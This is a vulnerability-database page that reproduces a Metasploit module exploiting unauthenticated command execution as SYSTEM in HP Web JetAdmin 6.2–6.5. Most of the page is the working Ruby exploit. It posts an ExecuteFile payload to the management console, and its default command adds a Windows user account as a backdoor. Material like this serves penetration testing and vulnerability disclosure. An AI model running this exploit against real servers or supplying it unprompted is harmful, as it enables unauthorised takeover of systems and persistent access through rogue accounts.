Lucene search
K

HP Web JetAdmin 6.5 Server Arbitrary Command Execution

🗓️ 19 Sep 2009 00:33:44Reported by aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 53 Views

HP Web JetAdmin 6.5 Server Command Execution Vulnerabilit

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution',
        'Description' => %q{
          This module abuses a command execution vulnerability within the
          web based management console of the Hewlett-Packard Web JetAdmin
          network printer tool v6.2 - v6.5. It is possible to execute commands
          as SYSTEM without authentication. The vulnerability also affects POSIX
          systems, however at this stage the module only works against Windows.
          This module does not apply to HP printers.
        },
        'Author' => [ 'aushack' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'OSVDB', '5798' ],
          [ 'BID', '10224' ],
          # [ 'CVE', '' ],# No CVE!
          [ 'EDB', '294' ]
        ],
        'DisclosureDate' => '2004-04-27'
      )
    )

    register_options(
      [
        Opt::RPORT(8000),
        OptString.new('CMD', [ false, 'The command to execute.', 'net user metasploit password /add' ]),
      ]
    )
  end

  def run
    cmd = datastore['CMD'].gsub(' ', ',')

    send_request_cgi({
      'uri' => '/plugins/framework/script/content.hts',
      'method' => 'POST',
      'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)'
    }, 3)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 14:30Current
7.9High risk
Vulners AI Score7.9
53